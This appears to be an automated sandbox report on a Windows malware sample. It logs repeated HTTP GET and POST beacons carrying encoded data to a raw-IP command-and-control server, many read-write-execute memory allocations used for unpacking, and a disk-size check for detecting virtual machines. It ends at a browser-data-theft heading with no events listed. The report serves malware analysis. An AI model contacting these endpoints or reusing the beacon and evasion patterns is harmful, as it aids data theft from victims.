request	GET http://87.251.77.205/Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&ea2f520425b9639ae81fd5c491eec651=d1nIVtGVQJFMJJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIiZTM3cDNyMTNjF2YjRGOxMDM2gDO3MDOjJTYyAjYyIjYyQmN0U2Y5IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W
request	GET http://87.251.77.205/Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&ea2f520425b9639ae81fd5c491eec651=d1nI0kGT1V1RiBnWHlkb1cVYyYkMVJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIkNGO2EGMlBzMyETMzUWM5QWOmNDZwMGN5EjZ2YmN5AzY4MGM2MzMhJiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W
request	GET http://87.251.77.205/Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ImagePublic/27d5482eebd075de44389774fce28c69f45c8a75-d659d96d15c7a1206f44eb36ed72495563140859
request	GET http://87.251.77.205/Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&ea2f520425b9639ae81fd5c491eec651=d1nIVtGVQJFMJJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIkNGO2EGMlBzMyETMzUWM5QWOmNDZwMGN5EjZ2YmN5AzY4MGM2MzMhJiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W
request	GET http://87.251.77.205/Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&ea2f520425b9639ae81fd5c491eec651=d1nIVtGVQJFMJJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiI3IGN0EDMjlzYjhjZkNmMlVjM3MWN0UTN5UmZidjY3cjNxQ2NyQjZhJiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W
request	GET http://87.251.77.205/Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ImagePublic/6b0d31c0d563223024da45691584643ac78c96e8-d659d96d15c7a1206f44eb36ed72495563140859
request	GET http://87.251.77.205/Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&1ad6af2552bbd621ec808da35cfa4dcb=hFGOjFjNzIGZ2kTO2QGM0QTY1QWYxETZ1EWMwQTN5E2NkVjNhhTYi1iYlZzMhVTYiRzYmFGZmJmYxcTOlVGN3QTMzMWMzkDMxETMiFTZxUmZ
request	GET http://87.251.77.205/Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&ea2f520425b9639ae81fd5c491eec651=d1nIVtGVQJFMJJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIlBDN0QjMiNDM3AzY2kjNkZ2Y3IGM5kDZihjY5UTO4IDMwgzY0ITYiJiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W
request	GET http://87.251.77.205/Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&1ad6af2552bbd621ec808da35cfa4dcb=iZTM2YTZjNTMiVmN3IjY1EWNxEGN2gTOxETMmNDNlJDOidzMyETZj1iYlZzMhVTYiRzYmFGZmJmYxcTOlVGN3QTMzMWMzkDMxETMiFTZxUmZ
request	GET http://87.251.77.205/Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&1ad6af2552bbd621ec808da35cfa4dcb=3kTM4MGO1gDMmZDM1YTZlhjY1czMjJmNhBDZ2ITM4gzY0ADOjVWO30iYlZzMhVTYiRzYmFGZmJmYxcTOlVGN3QTMzMWMzkDMxETMiFTZxUmZ
request	GET http://87.251.77.205/Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&1ad6af2552bbd621ec808da35cfa4dcb=kdzN5MmYxEjM1M2MwUTZ0UWZ1EmNmJmZ3cTOzM2Y1UDZ0EjY2YDO10iYlZzMhVTYiRzYmFGZmJmYxcTOlVGN3QTMzMWMzkDMxETMiFTZxUmZ

Sends data using the HTTP POST Method (1 event)

request

POST http://87.251.77.205/Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY

Allocates read-write-execute memory (usually to unpack itself) (50 out of 3024 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 2228224 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02900000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6e2c1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0261a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6e2c2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02612000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02622000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0264a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02623000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02624000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0265b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02657000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0261b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02642000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02655000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02625000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0264c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02890000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02626000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0265c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02643000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02644000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02645000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02646000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02647000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02648000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02649000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aaa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aad000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aae000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aaf000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ab0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ab1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ab2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ab3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 14, 2023, 10:34 a.m.	process_identifier: 2392 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ab4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (1 event)

Time & API	Arguments	Status	Return	Repeated
GetDiskFreeSpaceExW March 14, 2023, 10:34 a.m.	total_number_of_free_bytes: 9883889664 free_bytes_available: 9883889664 root_path: C:\ total_number_of_bytes: 34252779520	1	1	0

Steals private information from local Internet browsers (17 events)

